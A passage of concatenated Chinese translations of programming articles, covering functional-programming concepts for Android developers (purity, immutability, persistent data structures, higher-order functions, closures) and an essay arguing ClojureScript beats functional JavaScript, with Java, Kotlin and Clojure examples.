这个函数的输出不仅仅依赖于输入,还依赖于 **readNumFromFile()** 的返回,对于相同的入参 **x** 可能有不同的输出。这个函数不是纯函数。 下面我们将它改为纯函数。 int add(int x, int y) { return x + y; } 现在函数的输出只依赖于输入了。对于给定的 **x** 和 **y**,函数总会返回相同的输出。这个函数是**纯函数**。数学函数的计算与之一样,一个数学函数的输出只依赖于输入 —— 这也是为什么函数式编程更像数学,而不是我们通常使用的编程方式。 P.S. 没有输入也是一种输入。如果一个函数没有输入并且每次的返回总是相同不变的,那么它也是一个纯函数。 P.P.S. 固定输入总是返回相同输出的属性也被成为 **引用透明性**,当讨论纯函数时你可能会遇到这种说法。 ### 副作用 我们修改下原来的函数来研究这个概念,我们将函数改成可以将计算结果存储到文件中。 int add(int x, int y) { int result = x + y; writeResultToFile(result); return result; } 该函数将计算结果写到了一个文件中,也就是修改了外界的状态。那么该函数就是有 **副作用**,不再是纯函数了。 任何修改外界状态(修改变量、写文件、存储 DB、删除内容等)的代码都是有副作用的。 FP 中应该避免使用有副作用的函数,因为它们不在是纯函数而是依赖于**历史上下文**。代码的上下文不是由自身决定,这将导致它们更难推导。 我们假设你写了一段依赖缓存的代码,代码的输出依赖于是否有人已经对缓存做了写操作、写入了什么、什么时候写入的、写入的数据是否有效等。你无法知道你的程序在做什么,除非你知道它依赖的缓存的所有可能状态。如果你拓展代码以包括所有应用依赖的内容 —— 网络、数据库、文件、用户输入等等,那么会变得很难确切的知道正在发生什么,以及很难一次性将所有内容都考虑到。 这是否意味着我们不使用网络、数据库和缓存了?当然不是。当执行结束之后,应用往往需要做些什么。以 Android 应用为例,往往是更新 UI 以便用户从我们的应用中真正地获得有用的内容。 FP 最伟大的概念并非完全的放弃副作用,而是包容、隔离它们。我们将副作用置于系统的边缘,尽可能减少影响,使得应用更易懂,避免有副作用的函数将应用弄得一团糟。在本系列后面的文章中,研究应用的**函数式架构**时,我们会具体的讨论这个问题。 ### 排序 如果我们有几个没有副作用的纯函数,那么它们的执行顺序是无关紧要的。 我们看个例子,我们有一个函数,函数会调用 3 个纯函数: void doThings() { doThing1(); doThing2(); doThing3(); } 我们明确的知道这些函数互不依赖(因为一个函数的输出不是另一个的输入)并且我们知道它们不会改变系统的任何内容(因为它们是纯函数)。这样它们的执行顺序是完全可交换的。 独立的纯函数的执行顺序是可重排序和优化的。需要注意的是,如果 **doThing1()** 的结果是 **doThing2()** 的输入,那么它们需要按顺序执行,但是 **doThing3()** 依然可以重排序在 **doThing1()** 之前执行。 可重排序的特性对我们来说有什么益处?当然是**并发**了。我们可以在 3 个 CPU 上分别运行它们,而不需要担心发生任何问题。 多数情况下,像 [Haskell](https://www.haskell.org/) 这样高级纯函数式语言的编译器中,可以通过分析你的代码判断是否可并行,可以防止你出现搬起石头砸自己的脚的事情(比如死锁、条件竞争等)。这些编译器理论上可以自动并行化你的代码(虽然据我所知目前编译器都不支持,但是相关的研究正在进行)。 尽管你的编译器并不像上面说的那样,但单作为一个程序员,有能够根据函数的签名判断代码是否可并行,并且避免代码存在隐性副作用而导致线程问题的能力还是很重要的。 ### 总结 希望第一本分已经激起了你对 FP 的兴趣。纯粹性、无副作用的函数是的代码更易读并且是实现并行的第一步。 在我们开始实现并行之前,我们需要了解下 **不变性**。在本系列文章的[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-2.md)将进行探讨,并且可以看到在不需要借助锁和互斥变量的情况下,纯函数和不变性是如何帮助我们编写简单易懂的可并行代码的。 ================================================ FILE: TODO/functional-programming-for-android-developers-part-2.md ================================================ > * 原文地址:[Functional Programming for Android developers?—?Part 2](https://medium.com/@anupcowkur/functional-programming-for-android-developers-part-2-5c0834669d1a#.r6495260x) * 原文作者:[Anup Cowkur](https://medium.com/@anupcowkur) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [tanglie1993](https://github.com/tanglie1993) * 校对者:[skyar2009](https://github.com/skyar2009), [phxnirvana](https://github.com/phxnirvana) --- # Android 开发者如何使用函数式编程 (二) ![](https://cdn-images-1.medium.com/max/1600/1*1-2UBc_3rxKqKn89iMN2nQ.jpeg) 如果你没有读过第一部分,请到这里读: - [Android 开发者如何函数式编程 (一)](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-1.md) - [Android 开发者如何函数式编程 (三)](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md) 在上一篇帖子中,我们学习了**纯粹性*、**副作用**和**排序**。在本部分中,我们将讨论**不变性**和**并发**。 ### 不变性 不变性是指一旦一个值被创建,它就不可以被修改。 假设我有一个像这样的 *Car* 类: public final class Car { private String name; public Car(final String name) { this.name = name; } public void setName(final String name) { this.name = name; } public String getName() { return name; } } 因为它有一个 setter,我可以在创建之后修改车的名称: Car car = new Car("BMW"); car.setName("Audi"); 这个类**不是**不可变的。他在创建之后可以被改变。 我们把它变成不可变的。要做到这一点,我们必须: - 把 name 变量设为 *final*。 - 移除 setter。 - 把这个类也设为 *final*,这样另一个类就不可以继承它并修改它的内容。 ``` public final class Car { private final String name; public Car(final String name) { this.name = name; } public String getName() { return name; } } ``` 如果现在有人需要创建一个新的 car,他们需要初始化一个新的对象。没有人可以在 car 被创建之后修改它。这个类现在是**不可变**的了。 但是 *getName()* 方法呢?它在把名称返回给外部世界对吧?如果有人在通过 getter 取得引用之后修改了 *name* 的值怎么办? 在 Java 中,[string在默认情况下是不可变的](http://stackoverflow.com/questions/1552301/immutability-of-strings-in-java)。哪怕有人获得了对 *name* string 的引用并修改它,他们也只能得到 *name* string 的拷贝,原先的 string 保持不变。 但是可变的东西怎么办?比如一个 list?我们修改一下 *Car* 类,使它具有一个驾驶员的 list。 public final class Car { private final List listOfDrivers; public Car(final List listOfDrivers) { this.listOfDrivers = listOfDrivers; } public List getListOfDrivers() { return listOfDrivers; } } 在这种情况下,有人可以通过 *getListOfDrivers()* 方法取得我们内部 list 的一个引用,并修改这个 list。这样,我们的类就是**可变**的了。 要让它不可变,我们必须在 getter 中返回一个 list 的深度拷贝。这样,新的 list 就可以被调用者安全地修改。深度拷贝的含义是我们递归地复制所有依赖它的数据。例如,如果这是一个 *Driver* 类的 list而不是简单的 string 列表,我们就必须复制每一个 *Driver* 对象。否则,我们就会创建一个新的 list,其内容是对原先 *Driver* 对象的引用,而这些对象是可变的。在我们的类中,由于这个 list 是由不可变的 string 组成的,我们可以这样创建一个深度拷贝: public final class Car { private final List listOfDrivers; public Car(final List listOfDrivers) { this.listOfDrivers = listOfDrivers; } public List getListOfDrivers() { List newList = new ArrayList<>(); for (String driver : listOfDrivers) { newList.add(driver); } return newList; } } 现在这个类就是真正**不可变**的了。 ### 并发 好了,**不可变**是很酷,但为什么要用它?我们在第一部分中已经讨论过,纯函数让我们很容易地实现并发。而且,如果一个对象是不可变的,它就很容易在纯函数中使用,因为你不能通过改变它而造成副作用。 来看一个例子。假设我们在 *Car* 中添加一个 *getNoOfDrivers* 方法,并允许外部调用者修改 driver 的数量,从而使它可变: public class Car { private int noOfDrivers; public Car(final int noOfDrivers) { this.noOfDrivers = noOfDrivers; } public int getNoOfDrivers() { return noOfDrivers; } public void setNoOfDrivers(final int noOfDrivers) { this.noOfDrivers = noOfDrivers; } } 假设有两个线程共享 *Car* 类的实例:*Thread_1* 和 *Thread_2*。*Thread_1* 需要基于 driver 的数量做一些计算,所以它调用了 *getNoOfDrivers()*。同时 *Thread_2* 开始执行,并修改了 *noOfDrivers* 变量。*Thread_1* 并不知道这个改变,愉快地继续它的计算。这些计算是不对的,因为 *Thread_2* 已经修改了变量的状态,而 *Thread_1* 并不知道。 下面的流程图说明了这个问题: ![](https://cdn-images-1.medium.com/max/2000/1*PXDu-vgwZ6hmh96lc5TYOg.png) 这是一个名为“读-修改-写问题”的典型资源竞争。传统的解决方案是使用[锁和互斥](https://en.wikipedia.org/wiki/Mutual_exclusion)。这样,同时只有一个线程可以操纵共享数据,在操作结束之后才释放锁(在我们的例子中,*Thread_1* 将持有对 *Car* 的锁,直到它完成计算)。 这种基于锁的资源管理是很难以保证安全的。它会造成极其难以分析的并发 bug。许多程序员在面对[死锁和活锁](https://en.wikipedia.org/wiki/Deadlock)时会失去理智。 不可变性如何解决这个问题呢?我们再次把 *Car* 设为不可变: public final class Car { private final int noOfDrivers; public Car(final int noOfDrivers) { this.noOfDrivers = noOfDrivers; } public int getNoOfDrivers() { return noOfDrivers; } } 现在,*Thread_1* 可以放心地计算,因为 *Thread_2* 保证无法修改这个对象。如果 *Thread_2* 想要修改 *Car*,那么它将会创建它自己的拷贝,而 *Thread_1* 完全不会受到影响。不需要任何锁。 ![](https://cdn-images-1.medium.com/max/2000/1*EyBmNH__K0QlOfapgib_rg.png) 不可变性保证共享数据在默认状况下就是线程安全的。**不应该**被修改的东西是**不能**被修改的。 #### 如果我们需要全局可变状态怎么办? 要写出有用的应用,我们在很多情况下需要共享可变的状态。我们可能会真正需要更新 *noOfDrivers* ,并把改变反映到整个系统中去。我们在下一章讨论**函数式架构**时,将使用状态隔离处理这种情况,并把副作用推到系统的边缘。 ### 持久数据结构 不可变对象可能很好,但如果我们不加限制地使用它们,它们将会给垃圾回收器造成负担,从而导致性能问题。函数式编程向我们提供具有不可变性,并能最小化对象创建的数据结构。这些专门化的数据结构被称为**持久数据结构**。 持久数据结构在被修改时,总会保留自己之前的版本。这些数据结构实际上是不可变的。对它们的操作不会(可见地)更新数据结构,而是返回一个新的修改过的结构。 假设我们需要把这些 string 存储在内存中:**reborn, rebate, realize, realizes, relief, red, redder**。 我们可以分开储存它们,但这需要的内存超出必要的限度。如果仔细看的话,我们可以看到这些 string 有很多共同的字符,我们可以用一个 [*trie*](https://en.wikipedia.org/wiki/Trie) 树储存它们(并不是所有的 trie 树都是持久的,但它是我们用来实现持久数据结构的工具之一): ![](https://cdn-images-1.medium.com/max/1600/1*5_7HbxMEMGRmpPkxlUnIHA.png) 这是持久数据结构的基本工作原理。如果一个新的 string 被加入,我们就创建一个新的节点,并把它链接到正确的位置。如果一个使用这个结构的对象需要删除一个节点,我们只要停止引用它即可。然而,实际的节点不会被从内存中删除,这样副作用就可以被避免。这保证引用这个数据结构的其它对象可以继续使用它。如果没有其它对象引用它,我们可以回收整个结构以收回内存。 在 Java 中使用持久数据结构并不是一个激进的想法。[Clojure](https://clojure.org/) 是一个函数式语言,它在 JVM 上运行,并有一整个标准库的持久数据结构。你可以在 Android 代码中直接使用 Clojure 的标准库,但它很大而且有很多方法。我找到了一个更好的替代方法:一个叫做 [PCollections](https://pcollections.org/) 的库。它有 [427 个方法和 48Kb dex 文件大小](http://www.methodscount.com/?lib=org.pcollections%3Apcollections%3A2.1.2) ,很适合我们的需要。 作为一个例子,这是我们使用 PCollections 创建并使用一个持久链表时的情形: ConsPStack list = ConsPStack.*empty*(); System.*out*.println(list); // [] ConsPStack list2 = list.plus("hello"); System.*out*.println(list); // [] System.*out*.println(list2); // [hello] ConsPStack list3 = list2.plus("hi"); System.*out*.println(list); // [] System.*out*.println(list2); // [hello] System.*out*.println(list3); // [hi, hello] ConsPStack list4 = list3.minus("hello"); System.*out*.println(list); // [] System.*out*.println(list2); // [hello] System.*out*.println(list3); // [hi, hello] System.*out*.println(list4); // [hi] 可见,没有任何一个 list 是在原位被修改的。每次进行一个修改时,它都会返回一个新的拷贝。 PCollections 有一些标准持久数据结构。它们是针对多种不同的用例实现的,都很值得探索。他们都很适合与易用的 Java 的标准集合库一起使用。 持久数据结构的范围是很广泛的,而这一部分只是触及了冰山的一角。如果你对学习更多相关知识感兴趣,我强烈推荐 [Chris Okasaki 的纯函数数据结构](https://www.amazon.com/Purely-Functional-Structures-Chris-Okasaki/dp/0521663504)。 ### 总结 **不可变性**和**纯粹性**是帮助我们写出安全的并发代码的强力组合。现在我们已经学习了足够多的概念,我们可以在下一部分中看一看如何为 Android 应用设计函数式框架。 ### **额外内容** 我在 Droidcon India 中做了一个关于不可变性和并发的报告。希望你们喜欢。 [![](https://i.ytimg.com/vi_webp/lE9XnvBV-ys/sddefault.webp)](https://www.youtube.com/embed/lE9XnvBV-ys?wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F77eb6effeadb0e8ce1fd46d5f9efdc2c%3FpostId%3D5c0834669d1a&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1) ================================================ FILE: TODO/functional-programming-for-android-developers-part-3.md ================================================ > * 原文地址:[Functional Programming for Android Developers — Part 3](https://medium.freecodecamp.org/functional-programming-for-android-developers-part-3-f9e521e96788) > * 原文作者:[Anup Cowkur](https://medium.freecodecamp.org/@anupcowkur?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-3.md) > * 译者:[miguoer](https://github.com/miguoer) > * 校对者:[shi-xiaopeng](https://github.com/shi-xiaopeng) [Cielsk](https://github.com/Cielsk) # Android 开发者如何函数式编程 (三) ![](https://cdn-images-1.medium.com/max/800/1*exgznl7z65gttRxLsMAV2A.png) 在上一章,我们学习了**不可变性**和**并发**。在这一章,我们将学习**高阶函数**和**闭包**。 如果你还没有阅读过第一部分和第二部分,可以点击这里阅读: - [Android 开发者如何函数式编程 (一)](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-1.md) - [Android 开发者如何函数式编程 (二)](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-for-android-developers-part-2.md) ### 高阶函数 高阶函数是可以接受将函数作为输入参数,也可以接受将函数作为输出结果的一类函数。很酷吧? 但是为什么有人想要那样做呢? 让我们看一个例子。假设我想压缩一堆文件。我想用两种压缩格式来做 — ZIP 或者 RAR 格式。如果用传统的 Java 来实现,通常会使用 [策略模式](https://en.wikipedia.org/wiki/Strategy_pattern)。 首先,创建一个定义策略的接口: ``` public interface CompressionStrategy { void compress(List files); } ``` 然后,像以下代码一样实现两种策略: ``` public class ZipCompressionStrategy implements CompressionStrategy { @Override public void compress(List files) { // Do ZIP stuff } } public class RarCompressionStrategy implements CompressionStrategy { @Override public void compress(List files) { // Do RAR stuff } } ``` 在运行时,我们就可以使用任意一种策略: ``` public CompressionStrategy decideStrategy(Strategy strategy) { switch (strategy) { case ZIP: return new ZipCompressionStrategy(); case RAR: return new RarCompressionStrategy(); } } ``` 使用这种方式有一堆的代码和需要遵循的格式。 其实我们所要做的只是根据不同的变量实现两种不同的业务逻辑。由于业务逻辑不能在 Java 中独立存在,所以必须用类和接口去修饰。 如果能够直接传递业务逻辑,那不是很好吗?也就是说,如果可以把函数当作变量来处理,那么能否像传递变量和数据一样轻松地传递业务逻辑? 这**正是**高阶函数的功能! 现在,从高阶函数的角度来看这同一个例子。这里我要使用 [Kotlin](https://kotlinlang.org/) ,因为 Java 8 的 lambdas 表达式仍然包含了我们想要避免的 [一些创建函数接口的方式](https://stackoverflow.com/a/13604748/1369222) 。 ``` fun compress(files: List, applyStrategy: (List) -> CompressedFiles){ applyStrategy(files) } ``` `compress` 方法接受两个参数 —— 一个文件列表和一个类型为 `List -> CompressedFiles` 的 `applyStrategy` 函数。也就是说,它是一个函数,它接受一个文件列表并返回 `CompressedFiles`。 现在,我们调用 `compress` 时,传入的参数可以是任意接收文件列表并返回压缩文件的函数。: ``` compress(fileList, {files -> // ZIP it}) compress(fileList, {files -> // RAR it}) ``` 这样代码看起来干净多了。 所以高阶函数允许我们传递逻辑并将代码当作数据处理。 ### 闭包 闭包是可以捕捉其环境的函数。让我们通过一个例子来理解这个概念。假设给一个 view 设置了一个 click listener,在其方法内部想要打印一些值: ``` int x = 5; view.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { System.out.println(x); } }); ``` Java 里面不允许我们这样做,因为 `x` 不是 final 的。在 Java 里 `x` 必须声明为 final,由于 `click listener` 可能在任意时间执行, 当它执行时 `x` 可能已经不存在或者值已经被改变,所以在 Java 里 `x` 必须声明为 `final`。Java 强制我们把这个变量声明为 final,实际上是为了把它设置成不可变的。 一旦它是不可变的,Java 就知道不管 click listener 什么时候执行,`x` 都等于 `5`。这样的系统并不完美,因为 `x` 可以指向一个列表,尽管列表的引用是不可变的,其中的值却可以被修改. Java 没有一个机制可以让函数去捕捉和响应超过它作用域的变量。Java 函数不能捕捉或者涵盖到它们环境的变化。 让我们尝试在 Kotlin 中做相同的事。我们甚至不需要匿名内部类,因为在 Kotlin 中函数是「一等公民」: ``` var x = 5 view.setOnClickListener { println(x) } ``` 这在 Kotlin 中是完全有效的。Kotlin 中的函数都是**闭包**。他们可以跟踪和响应其环境中的更新。 第一次触发 click listener 时, 会打印 `5`。如果我们改变 `x` 的值比如令 `x = 9`,再次触发 click listener ,这次会打印`9`。 #### 我们能利用闭包做什么? 闭包有很多非常好的用例。无论何时,只要你想让业务逻辑响应环境中的状态变化,那就可以使用闭包。 假设你在一个按钮上设置了点击 listener, 点击按钮会弹出对话框向用户显示一组消息。如果没有闭包,则每次消息更改时都必须使用新的消息列表并且初始化新的 listener。 有了闭包,你可以在某个地方存储消息列表并把列表的引用传递给 listener,就像我们上面做的一样,这个 listener 就会一直展示最新的消息。 **闭包也可以用来彻底替换对象。**这种用法经常出现在函数式编程语言的编程实践中,在那里你可能需要用到一些 OOP(面向对象编程)的编程方法,但是所使用的语言并不支持。 我们来看个例子: ``` class Dog { private var weight: Int = 10 fun eat(food: Int) { weight += food } fun workout(intensity: Int) { weight -= intensity } } ``` 我有一条狗在喂食时体重增加,运动时体重减轻。我们能用闭包来描述相同的行为吗? ``` fun main(args: Array) { dog(Action.feed)(5) } val dog = { action: Action -> var weight: Int = 10 when (action) { Action.feed -> { food: Int -> weight += food; println(weight) } Action.workout -> { intensity: Int -> weight -= intensity; println(weight) } } } enum class Action { feed, workout } ``` `dog` 函数接受一个 `Action` 参数,这个 action 要么是给狗喂食,要么是让它去运动。当在 `main` 中调用 `dog(Action.feed)(5)`,结果将是 `15` 。 `dog` 函数接受了一个 `feed` 动作,并返回了另外一个真正去给狗喂食的函数。如果把 `5` 传递给这个返回的函数,它将把狗狗的体重增加到 `10 + 5 = 15` 并打印出来。 > 所以结合闭包和高阶函数,我们没有使用 OOP 就有了对象。 ![](https://cdn-images-1.medium.com/max/800/1*qOekxkFDrnQQIekBjkouiQ.gif) 可能你在真正写代码的时候不会这样做,但是知道可以这样做也是蛮有趣的。确实,闭包被称为[**可怜人的对象**](http://wiki.c2.com/?ClosuresAndObjectsAreEquivalent)。 ### 总结 在许多情况下,相比于 OOP 高阶函数让我们可以更好地封装业务逻辑,我们可以将它们当做数据一样传递。闭包捕获其周围环境,帮助我们有效地使用高阶函数。 在下一部分,我们将学习如何以函数式的方法去处理错误。 * * * **如果你喜欢这篇文字,可以点击下面的 👏 按钮。我通知了他们每一个人,我也感激他们每一个人。** 感谢 [Abhay Sood](https://medium.com/@abhaysood?source=post_page) 和 [s0h4m](https://medium.com/@s0h4m?source=post_page). --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/functional-programming-in-javascript-is-an-antipattern.md ================================================ > * 原文地址:[Functional programming in JavaScript is an antipattern](https://hackernoon.com/functional-programming-in-JavaScript-is-an-antipattern-58526819f21e) > * 原文作者:[Alex Dixon](https://hackernoon.com/@alexdixon) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-in-javascript-is-an-antipattern.md](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-in-javascript-is-an-antipattern.md) > * 译者:[sunui](https://github.com/sunui) > * 校对者:[LeviDing](https://github.com/leviding)、[xekri](https://github.com/xekri) # JavaScript 的函数式编程是一种反模式 --- ![](https://cdn-images-1.medium.com/max/1600/1*Y6orLTOgb6JFfjVdANVgCQ.png) ## 其实 Clojure 更简单些 写了几个月 Clojure 之后我再次开始写 JavaScript。就在我试着写一些很普通的东西的时候,我总会想下面这些问题: > “这是 ImmutableJS 变量还是 JavaScript 变量?” > “我如何 map 一个对象并且返回一个对象?” > “如果它是不可变的,要么使用 <这种语法> 的 <这个函数>,否则使用 <不同的语法和完全不同行为> 的 <同一个函数的另一个版本>” > “一个 React 组件的 state 可以是一个不可变的 Map 吗?” > “引入 lodash 了吗?” > “`fromJS` 然后 <写代码> 然后 `.toJS()`?” 这些问题似乎没什么必要。但我猜想我已经思考这些问题上百万次了只是没有注意到,因为这些都是我知道的。 当使用 React、Redux、ImmutableJS、lodash、和像 lodash/fp、ramda 这样的函数式编程库的任意组合写 JavaScript 的时候,我觉得没什么方法能避免这种思考。 我需要一直把下面这些事记在脑海里: - lodash 的 API、Immutable 的 API、lodash/fp 的 API、ramda 的 API、还有原生 JS 的 API 或一些组合的 API - 处理 JavaScript 数据结构的可变编程技术 - 处理 Immutable 数据结构的不可变编程技术 - 使用 Redux 或 React 时,可变的 JavaScript 数据结构的不可变编程 就算我能够记住这些东西,我依然会遇到上面那一堆问题。不可变数据、可变数据和某些情况下不能改变的可变数据。一些常用函数的签名和返回值也是这样,几乎每一行代码都有不同的情况要考虑。我觉得在 JavaScript 中使用函数式编程技术很棘手。 按照惯例像 Redux 和 React 这种库需要不可变性。所以即使我不使用 ImmutableJS,我也得记得“这个地方不能改变”。在 JavaScript 中不可变的转换比它本身的使用更难。我感觉这门语言给我前进的道路下了一路坑。此外,JavaScript 没有像 Object.map 这样的基本函数。所以像[上个月 4300 多万人](https://www.npmjs.com/package/lodash)一样,我使用 lodash,它提供大量 JavaScript 自身没有的函数。不过它的 API 也不是友好支持不可变的。一些函数返回新的数值,而另一些会更改已经存在的数据。再次强调,花时间来区分它们是很不划算的。事实大概如此,想要处理 JavaScript,我需要了解 lodash、它的函数名称、它的签名、它的返回值。更糟糕的是,它的[“collection 在先, arguments 在后”](https://www.youtube.com/watch?v=m3svKOdZijA)的方式对函数式编程来说也并不理想。 如果我使用 ramda 或者 lodash/fp 会好一些,可以很容易地组合函数并且写出清晰整洁的代码。但是它不能和 Immutable 数据结构一起使用。我可能还是要写一些参数集合在后而其他时候在前的代码。我必须知道更多的函数名、签名、返回值,并引入更多的基本函数。 当我单独使用 ImmutableJS,一些事变得容易些了。Map.set 返回全新的值。一切都返回全新的值!这就是我想要的。不幸的是,ImmutableJS 也有一些纠结的事情。我不可避免地要处理两套不同的数据结构。所以我不得不清楚 `x` 是 Immutable 的还是 JavaScript 的。通过学习其 API 和整体思维方式,我可以使用 Immutable 在 2 秒内知道如何解决问题。当我使用原生 JS 时,我必须跳过该解决方案,用另一种方式来解决问题。就像 ramda 和 lodash 一样,有大量的函数需要我了解 —— 它们返回什么、它们的签名、它们的名称。我也需要把我所知的所有函数分成两类:一类用于 Immutable 的,另一类用于其它。这往往也会影响我解决问题的方式。我有时会不自主地想到柯里化和组合函数的解决方案。但不能和 ImmutableJS 一起使用。所以我跳过这个解决方案,想想其他的。 当我全部想清楚以后,我才能尝试写一些代码。然后我转移到另一个文件,做一遍同样的事情。 ![](https://cdn-images-1.medium.com/max/1600/1*FVBc2DWB09sW6QJwMxm_fw.png) JavaScript 中的函数式编程。 ![](https://cdn-images-1.medium.com/max/1600/1*MVU4TWwrkRMpQlmgkU9TuQ.png) 反模式的可视化。 我已孤立无援,并且把 JavaScript 的函数式编程称为一种反模式。这是一条迷人之路却将我引入迷宫。它似乎解决了一些问题,最终却创造了更多的问题。重点是这些问题似乎没有更高层次的解决方案能避免我一次有又一次地处理问题。 ### 这件事的长期成本是什么? 我没有确切的数字,但我敢说如果不必去想“在这里我可以用什么函数?”和“我可否改变这个变量”这样的问题,我可以更高效地开发。这些问题对我想要解决的问题或者我想要增加的功能没有任何意义。它们是语言本身造成的。我能想到避免这个问题的唯一办法就是在路的起点就不要走下去 —— 不要使用 ImmutableJS 、ImmutableJS 数据结构、Redux/React 概念中的不可变数据,以及 ramda 表达式和 lodash。总之就是写 JavaScript 不要使用函数式编程技术,它看似不是什么好的解决方案。 如果你确定并同意我所说的(如果不同意,也很好),那么我认为值得花 5 分钟或一天甚至一周时间来考虑:保持在 JavaScript 路子上相比用一个不同的东西取代,耗费的长期成本是什么? 这个所谓不同的东西对于我来说就是 Clojurescript。它是一门像 ES6 一样的 “compile-to-JS” 语言。大体上说,它是一种使用不同语法的 JavaScript。它的底层是被设计成用于函数式编程的语言,操作不可变的数据结构。对我来说,它比 JavaScript 更容易,更有前途。 ![](https://cdn-images-1.medium.com/max/1200/1*_bhmf-j96fW9qSuPm7yEsw.png) ### Clojure/Clojurescript 是什么? Clojurescript 类似 Clojure,除了它的宿主语言是 JavaScript 而不是 Java。它们的语法完全相同:如果你学 Clojurescript,其实你就在学 Clojure。这意味着如果你了解了 Clojurescript,你就可以写 JavaScript 和 Java。“30 亿的设备上运行着 Java”;我非常确定其他设备上运行着 JavaScript。 和 JavaScript 一样,Clojure 和 Clojurescript 也是动态类型的。你可以 100% 地使用 Clojurescript 语言用 Node 写服务端的全栈应用。与单独编译成 JavaScript 的语言不同,你也可以选择写一个基于 Java 的 servrer 来支持多线程。 作为一个普通的 JavaScript/Node 开发者,学习这门语言及其生态系统对我来说并不困难。 ### 是什么使得 Clojurescript 更简单? ![](https://cdn-images-1.medium.com/max/1600/1*cxIhT4wHooj6Cl50sryKIA.gif) 在编辑器中执行任意你想要执行的代码。 1. **你可以在编辑器中一键执行任何代码。** 的确如此,你可以在编辑器中输入任何你想写的代码,选中它(或者把光标放在上面)然后运行并查看结果。你可以定义函数,然后用你想用的参数调用它。你可以在应用运行的时候做这些事。所以,如果你不知道一些东西如何运作,你可以在你的编辑器的 REPL 里求值,看看会发生什么。 2. **函数可以作用于数组和对象。** Map、reduce、filter 等对数组和对象的作用都相同。设计就是如此。我们毋须再纠结于 `map` 对数组和对象作用的不同之处。 3. **不可变的数据结构。** 所有 Clojurescript 数据结构都是不可变的。因此你再也不必纠结一些东西是否可变了。你也不需要切换编程范式,从可变到不可变。你完全在不可变数据结构的领地上。 4. **一些基本函数是语言本身包含的。** 像 map、filter、reduce、compose 和[很多其他](https://clojure.github.io/clojure/)函数都是核心语言的一部分,不需要外界引入。因此你的脑子里不必记着 4 种不同版本的“map”了(Array.map、lodash.map、ramda.map、Immutable.map)。你只需要知道一个。 5. **它很简洁。** 相对于其他任何编程语言,它只需要短短几行的代码就能表达你的想法。(通常少得多) 6. **函数式编程。** Clojurescript 是一门彻底的函数式编程语言 —— 支持隐式返回声明、函数是一等公民、lambda 表达式等等。 7. **使用 JavaScript 中所需的任何内容。** 你可以使用 JavaScript 的一切以及它的生态系统,从 `console.log` 到 npm 库都可以。 8. **性能。** Clojurescript 使用 Google Closure 编译器来优化输出的 JavaScript。Bundle 体积小到极致。用于生产的打包过程不需要从设置优化到 `:advanced` 的复杂配置。 9. **可读的库代码。** 有时候了解“这个库的功能是干嘛的?”很有用。当我使用 JavaScript 中的“跳转到定义处”,我通常都会看到被压缩或错位的源代码。Clojure 和 Clojurescript 的库都直接被显示成写出来的样子,因此不需离开你的编辑器去看一些东西如何工作就很简单,因为你可以直接阅读源码。 10. **是一种 LISP 方言。** 很难列举出这方面的好处,因为太多了。我喜欢的一点是它的公式化,(有这么一种模式可以依靠)代码是用语言的数据结构来表达的。(这使得元编程很容易)。Clojure 不同于 LISP 因为它并不是 100% 的 `()`。它的代码和数据结构中可以使用 `[]` 和 `{}`,就像大多数编程语言那样。 11. **元编程。** Clojurescript 允许你编写生成代码的代码。这一点有我不想掩盖的巨大内涵。其中之一是你可以高效地扩展语言本身。这是一个出自 [Clojure for the Brave and True](http://www.braveclojure.com/writing-macros/) 的例子: ``` (defmacro infix [infixed] (list (second infixed) (first infixed) (last infixed))) (infix (1 + 1)) => 2 (macroexpand '(infix (1 + 1))) => (+ 1 1) ; 这个宏把它传入 Clojure,Clojure 可以正确执行,因为是 Clojure 的原生语法。 ``` ### 为什么它并不流行? 既然说它这么棒,可它怎么不上天呢?有人指出它已经很流行了,它只是不如 lodash、React、Redux 等等那么流行而已。但既然它更好,不应该和它们一样流行吗?为什么偏爱函数式编程、不可变性和 React 的 JS 开发者还没有迁移到 Clojurescript? **因为缺少工作机会吗?** Clojure 可以编译成 JavaScript 和 Java。它实际上也可以编译成 C#。因此大量的 JavaScript 工作都可以当作 Clojurescript 工作。它是一种函数式语言,用于为所有编译目标完成所有的任务。先不论它的价值如何体现,2017 StackOverflow 的调查表明 [Clojure 开发者的薪资水平是所有语言中全球平均最高的](http://www.techrepublic.com/article/what-are-the-highest-paid-jobs-in-programming-the-top-earning-languages-in-2017/)。 **因为 JS 开发者很懒吗?** 并不是。正如我在上面所展示的,我们做了大量的工作。有个词叫 [JavaScript 疲劳](https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4),你可能已经听说过了。 **我们很抗拒,不想学点新东西吗?** 并不是。 [我们已经因采用新技术而臭名昭著。](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f) 